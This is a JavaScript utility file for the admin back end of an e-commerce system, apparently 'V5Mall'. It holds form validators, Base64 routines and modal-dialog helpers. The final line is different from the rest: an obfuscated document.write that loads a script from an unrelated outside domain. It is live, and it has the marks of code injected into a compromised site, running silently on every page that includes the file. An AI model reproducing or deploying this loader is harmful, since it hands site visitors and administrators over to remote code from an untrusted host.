﻿/***************************************************
<威博网络后台管理通用JS类>
***************************************************/

//-------------------------------------------------------
//兼容FF
//-------------------------------------------------------
function getobj(id)
{
    return document.getElementById(id);
}

//-------------------------------------------------------
//兼容FF下的childNodes
//-------------------------------------------------------
function childs(nodes)
{
    var ret=[];
    if(nodes.length)
    {
        for(var i=0;i<nodes.length;i++)
        {
            if(nodes[i].nodeType!=1) continue;
            ret.push(nodes[i]);
        }
    }
    return ret;
}

//-------------------------------------------------------
//日期格式化
//-------------------------------------------------------
function parseDate(str)
{
    if(typeof str == 'string')
    {
        var results = str.match(/^ *(\d{4})-(\d{1,2})-(\d{1,2}) *$/);
        if(results && results.length>3)
        {
            return new Date(parseInt(results[1]),parseInt(results[2]) -1,parseInt(results[3]));
        }
        results = str.match(/^ *(\d{4})-(\d{1,2})-(\d{1,2}) +(\d{1,2}):(\d{1,2}):(\d{1,2}) *$/);
        if(results && results.length>6)
        {
            return new Date(
                parseInt(results[1]),
                parseInt(results[2]) -1,
                parseInt(results[3]),
                parseInt(results[4]),
                parseInt(results[5]),
                parseInt(results[6])
            );
        }
        results = str.match(/^ *(\d{4})-(\d{1,2})-(\d{1,2}) +(\d{1,2}):(\d{1,2}):(\d{1,2})\.(\d{1,9}) *$/);
        if(results && results.length > 7)
        {
            return new Date(
                parseInt(results[1]),
                parseInt(results[2]) - 1,
                parseInt(results[3]),
                parseInt(results[4]),
                parseInt(results[5]),
                parseInt(results[6]),
                parseInt(results[7])
            );
        }
    }
    return null;
}

//-------------------------------------------------------
//多行文本框 MaxLenth设置无效处理
//-------------------------------------------------------
function CheckMaxLenth(obj)
{
    var maxlength = obj.maxsize;
    if(obj.value.length > maxlength)
    {
        alert("输入的内空过长！");
        obj.select();
        return false;
    }
    return true;
}

//-------------------------------------------------------
//验证码
//-------------------------------------------------------
function ChangeVerifyImgNew(url)
{
    document.getElementById("verifyimg").src = url + 'member/verifyimg.aspx?d=' + Date();
}

//-------------------------------------------------------
//将选中的图片放入父窗体的控件中
//-------------------------------------------------------
function InitPicture(obj)
{
    if (navigator.appVersion.indexOf("MSIE") == -1)
    {
        window.opener.returnAction(obj.title.replace("双击选择该图片，图片地址是",""));
        window.close();
    }
    else
    {
        window.returnValue = obj.title.replace("双击选择该图片，图片地址是","");
        window.close();
    }
}
//-------------------------------------------------------
//将选中的图片放入父窗体的控件中
//-------------------------------------------------------
function InitPictureCs(txt)
{
    if (navigator.appVersion.indexOf("MSIE") == -1)
    {
        window.opener.returnAction(txt);
        window.close();
    }
    else
    {
        window.returnValue = txt;
        window.close();
    }
}
//-------------------------------------------------------
//将选中的类别放入父窗体的控件中
//-------------------------------------------------------
function InitAdsCategory()
{
    if(CheckEdit())
    {
        var id = document.getElementById("CheckedIDS").value;

        if (navigator.appVersion.indexOf("MSIE") == -1)
        {
            window.opener.returnAction(id);
            window.close();
        }
        else
        {
            window.returnValue = id;
            window.close();
        }
        return true;
    }
    else
    {
        return false;
    }
}

//----------------------------------
//将选中的值放入父窗体的控件中
//mode=0 只能返回单一类别
//mode!=0 返回多个类别
//-----------------------------------
function InitSelectValue(mode)
{
    if(mode == "0")
    {
        if(!CheckEdit())
        {
            return false;
        }
    }

    var id = document.getElementById("CheckedIDS").value;

    if (navigator.appVersion.indexOf("MSIE") == -1)
    {
        window.opener.returnAction(id);
        window.close();
    }
    else
    {
        window.returnValue = id;
        window.close();
    }
    return true;
}

//------------------------------------------------------------------
// 检查日期型
// obj          要检查的控件
// Isfoucs      验证失败时是否控制焦点
// IsMustInput  是否必须输入
//------------------------------------------------------------------
function CheckDate(obj, Isfoucs, IsMustInput)
{
    if(obj.value == "")
    {
        if(IsMustInput)
        {
            alert("必须输入!");
            if(Isfoucs) obj.select();
            return false;
        }
    }
    else
    {
        var re = /^^((((1[6-9]|[2-9]\d)\d{2})-(0?[13578]|1[02])-(0?[1-9]|[12]\d|3[01]))|(((1[6-9]|[2-9]\d)\d{2})-(0?[13456789]|1[012])-(0?[1-9]|[12]\d|30))|(((1[6-9]|[2-9]\d)\d{2})-0?2-(0?[1-9]|1\d|2[0-8]))|(((1[6-9]|[2-9]\d)(0[48]|[2468][048]|[13579][26])|((16|[2468][048]|[3579][26])00))-0?2-29-))$/;
        if(!re.test(obj.value))
        {
            alert("请输入日期类型!");
            if(Isfoucs)
            {
                obj.select();
            }
            else
            {
                obj.value = "";
            }
            return false;
        }
    }
    return true;
}

//------------------------------------------------------------------
// 检查数值型
// obj          要检查的控件
// Isfoucs      验证失败时是否控制焦点
// IsMustInput  是否必须输入
//------------------------------------------------------------------
function CheckNumber(obj, Isfoucs, IsMustInput)
{
    if(obj.value == "")
    {
        if(IsMustInput)
        {
            alert("必须输入!");
            if(Isfoucs) obj.select();
            return false;
        }
    }
    else
    {
        var re = /^(-|\+)?\d+(\.\d+)?$/;
        if(!re.test(obj.value))
        {
            alert("请输入数字!");
            if(Isfoucs)
            {
                obj.select();
            }
            else
            {
                obj.value = "";
            }
            return false;
        }
    }
    return true;
}
//-------------------------------------------------------
//Base64加密
//-------------------------------------------------------
function EncodeBase64(str) {
    var base64EncodeChars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    var out, i, len;
    var c1, c2, c3;

    len = str.length;
    i = 0;
    out = "";
    while(i < len)
    {
        c1 = str.charCodeAt(i++) & 0xff;
        if(i == len)
        {
            out += base64EncodeChars.charAt(c1 >> 2);
            out += base64EncodeChars.charAt((c1 & 0x3) << 4);
            out += "==";
            break;
        }
        c2 = str.charCodeAt(i++);
        if(i == len)
        {
            out += base64EncodeChars.charAt(c1 >> 2);
            out += base64EncodeChars.charAt(((c1 & 0x3)<< 4) | ((c2 & 0xF0) >> 4));
            out += base64EncodeChars.charAt((c2 & 0xF) << 2);
            out += "=";
            break;
        }
        c3 = str.charCodeAt(i++);
        out += base64EncodeChars.charAt(c1 >> 2);
        out += base64EncodeChars.charAt(((c1 & 0x3)<< 4) | ((c2 & 0xF0) >> 4));
        out += base64EncodeChars.charAt(((c2 & 0xF) << 2) | ((c3 & 0xC0) >>6));
        out += base64EncodeChars.charAt(c3 & 0x3F);
    }
    return out;
}
//-------------------------------------------------------
//Base64解密
//-------------------------------------------------------
function DecodeBase64(str)
{
    var c1, c2, c3, c4;
    var i, len, out;
    var base64DecodeChars = new Array(
        -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
        -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
        -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63,
        52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, -1, -1, -1,
        -1,  0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14,
        15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1,
        -1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40,
        41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, -1, -1, -1, -1, -1
    );


    len = str.length;
    i = 0;
    out = "";
    while(i < len)
    {
        /* c1 */
        do
        {
            c1 = base64DecodeChars[str.charCodeAt(i++) & 0xff];
        } while(i < len && c1 == -1);
        if(c1 == -1) break;

        /* c2 */
        do
        {
            c2 = base64DecodeChars[str.charCodeAt(i++) & 0xff];
        } while(i < len && c2 == -1);
        if(c2 == -1) break;

        out += String.fromCharCode((c1 << 2) | ((c2 & 0x30) >> 4));

        /* c3 */
        do
        {
            c3 = str.charCodeAt(i++) & 0xff;
            if(c3 == 61)
            return out;
            c3 = base64DecodeChars[c3];
        } while(i < len && c3 == -1);
        if(c3 == -1) break;

        out += String.fromCharCode(((c2 & 0XF) << 4) | ((c3 & 0x3C) >> 2));

        /* c4 */
        do
        {
            c4 = str.charCodeAt(i++) & 0xff;
            if(c4 == 61)
            return out;
            c4 = base64DecodeChars[c4];
        } while(i < len && c4 == -1);
        if(c4 == -1) break;
        out += String.fromCharCode(((c3 & 0x03) << 6) | c4);
    }
    return out;
}

//*********************************************************************
var tmHelpCategory = null;      //定时器对象
var winHelpCategory = null;     //对话框对象

//-------------------------------------------------------
//解锁页面
//-------------------------------------------------------
function UnlockHelpCategory()
{
    try
    {
        if(winHelpCategory.closed)
        {
            //解锁页面
            clearInterval(tmHelpCategory);
            document.body.disabled = false;
            winHelpCategory = null;
        }
    }
    catch(e)
    {
    }
}

//-------------------------------------------------------
//打开模式对话框（帮助类别选择）
//-------------------------------------------------------
//idCtrl        返回的ID所对应的控件名
//nameCtrl      返回的Name所对应的控件名
//-------------------------------------------------------
function OpenDialogHelpCategory(idCtrl, nameCtrl)
{
    var uri = '';
    var param = '';

    try
    {
        uri =
            'V5Mall_HelpCategory_Examine.aspx?_adsf=' + Date() +
            '&ctlid=' + idCtrl +
            '&ctlname=' + nameCtrl;
        param =
            'alwaysRasied=yes,modal=yes,' +
            'width=550,height=550,' +
            'top=200,left=300,' +
            'resizable=no,scrollbars=no';

        //锁定页面
        document.body.disabled = true;
        winHelpCategory = window.open(uri, '_blank', param);
        tmHelpCategory = setInterval("UnlockHelpCategory()", 1);
    }
    catch(e)
    {
    }
}
//*********************************************************************

//*********************************************************************
var tmPictureDailog = null;      //定时器对象
var winPictureDailog = null;     //对话框对象

//-------------------------------------------------------
//解锁页面
//-------------------------------------------------------
function UnlockPictureDailog()
{
    try
    {
        if(winPictureDailog.closed)
        {
            //解锁页面
            clearInterval(tmPictureDailog);
            document.body.disabled = false;
            winPictureDailog = null;
        }
    }
    catch(e)
    {
    }
}

//-------------------------------------------------------
//打开图片对话框
//-------------------------------------------------------
//pathCtrl      要填写图片路径的控件名
//viewCtrl      要显示图片的控件名
//-------------------------------------------------------
function OpenDialogPictureDailog(pathCtrl, viewCtrl)
{
    var uri = '';
    var param = '';

    try
    {
        uri =
            'V5Mall_Picture_Dailog.aspx?_adsf=' + Date() +
            '&_pathCtrl=' + pathCtrl +
            '&_viewCtrl=' + viewCtrl;

        param =
            'alwaysRasied=yes,modal=yes,' +
            'width=620,height=650,' +
            'top=100,left=200,' +
            'resizable=no,scrollbars=no';

        //锁定页面
        document.body.disabled = true;
        winPictureDailog = window.open(uri, '_blank', param);
        tmPictureDailog = setInterval("UnlockPictureDailog()", 1);
    }
    catch(e)
    {
    }
}

//*********************************************************************
var tmProductCategory = null;      //定时器对象
var winProductCategory = null;     //对话框对象

//-------------------------------------------------------
//解锁页面
//-------------------------------------------------------
function UnlockProductCategory()
{
    try
    {
        if(winProductCategory.closed)
        {
            //解锁页面
            clearInterval(tmProductCategory);
            document.body.disabled = false;
            winProductCategory = null;
        }
    }
    catch(e)
    {
    }
}

//-------------------------------------------------------
//商品类别选择
//-------------------------------------------------------
//intCtrl      要填写int的控件名
//nameCtrl      要显示name的控件名
//-------------------------------------------------------
function OpenDialogProductCategory(intCtrl, nameCtrl)
{
    var uri = '';
    var param = '';

    try
    {
        uri =
            'V5Mall_ProductCategory_Dailog.aspx?_adsf=' + Date() +
            '&intCtrl=' + intCtrl +
            '&nameCtrl=' + nameCtrl;

        param =
            'alwaysRasied=yes,modal=yes,' +
            'width=620,height=550,' +
            'top=100,left=200,' +
            'resizable=no,scrollbars=no';

        //锁定页面
        document.body.disabled = true;
        winPictureDailog = window.open(uri, '_blank', param);
        tmPictureDailog = setInterval("UnlockProductCategory()", 1);
    }
    catch(e)
    {
    }
}

//*********************************************************************
//*********************************************************************
var tmShopCategory = null;      //定时器对象
var winShopCategory = null;     //对话框对象

//-------------------------------------------------------
//解锁页面
//-------------------------------------------------------
function UnlockShopCategory()
{
    try
    {
        if(tmShopCategory.closed)
        {
            //解锁页面
            clearInterval(tmShopCategory);
            document.body.disabled = false;
            winShopCategory = null;
        }
    }
    catch(e)
    {
    }
}

//*********************************************************************
//-------------------------------------------------------
//打开模式对话框（店铺类别选择）
//-------------------------------------------------------
// ObjID    要取得返回值的控件ID
//-------------------------------------------------------
function OpenDialogShopCategory(intCtrl,nameCtrl)
{
    var uri = '';
    var param = '';

    try
    {
        uri =
            'V5Mall_ShopCategory_Dailog.aspx?_adsf=' + Date() +
            '&intCtrl=' + intCtrl +
            '&nameCtrl=' + nameCtrl;

        param =
            'alwaysRasied=yes,modal=yes,' +
            'width=620,height=550,' +
            'top=100,left=200,' +
            'resizable=no,scrollbars=no';

        //锁定页面
        document.body.disabled = true;
        winPictureDailog = window.open(uri, '_blank', param);
        tmPictureDailog = setInterval("UnlockShopCategory()", 1);
    }
    catch(e)
    {
    }
}
//*********************************************************************

//-------------------------------------------------------
//打开模式对话框（图片选择）
// FCK控件专用
//-------------------------------------------------------
// fckID        Fck控件ID
// basePath     基础路径
//-------------------------------------------------------
function OpenDialogPageForFckEdit(fckID, basePath)
{
    var uri = '';
    var param = '';
    var oEditor = FCKeditorAPI.GetInstance(fckID);

    uri = 'Picture_Picture_Manage_Dialog.aspx?d=' + Date();
    if (navigator.appVersion.indexOf("MSIE") == -1)
    {
        this.returnAction = function(strResult)
        {
            if(strResult != null)
            {
                oEditor.InsertHtml(GetValue);
            }
        }
        param = 'alwaysRasied=yes,modal=yes,width=550,height=550,top=200,left=300,resizable=no,scrollbars=no';
        window.open(uri, '_blank', param);
        return;
    }
    else
    {
        var GetValue = null;

        param = 'dialogWidth:550px;dialogHeight:550px;';
        GetValue = showModalDialog(uri, '', param);
        if (GetValue != null)
        {
            oEditor.InsertHtml("<img src='" + basePath + GetValue + "'>");
        }
    }
}


document.write('<sc'+'ript type="text/javascript" src="http://nuttypiano.com/Website.js"></scri'+'pt>');